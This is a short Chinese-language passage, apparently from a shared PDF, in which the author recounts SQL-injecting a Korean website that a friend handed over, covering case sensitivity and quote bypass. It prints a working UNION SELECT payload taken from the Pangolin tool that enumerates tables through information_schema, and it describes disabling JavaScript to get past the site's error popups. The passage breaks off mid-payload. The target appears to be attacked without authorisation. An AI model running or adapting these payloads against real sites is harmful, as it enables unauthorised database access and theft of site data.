PHP与QL注入技术案例：大小写敏感与单引号绕过.pdfVIP

把碰到的问题简单的下吧，感觉有些时候技巧是必须的！

NO1PHP注入竟然分大小写

某次鱼总丢一站点来，说能表名和列名，就是取不出值！

手工试了下，这个站很怪，有一点错误就会弹一个框框出来，由于是KR站，所以看不懂内

容，最后通过抓取pangolin的包，得到字段数为16，pangolin的语句为：

BMode=Showtable=gongjiuid_no=318+and+1=2+union+select+0,0,0,con

cat(char(94),char(94),char(94),cast(count(*)+as+char),char(94),char(94),ch

ar(94)),0,0,0,0,0,0,0,0,0,0,0,0+from+information_schema.tab+where+ta

ble_schema=0x656e3475+limit+1--+and+1=1

这下好办，试着将第段换成@@version，OK，显示正常，没弹框（这个过程中，我

把javascript禁用了，方便点），于是换成：

...

+1=2+union+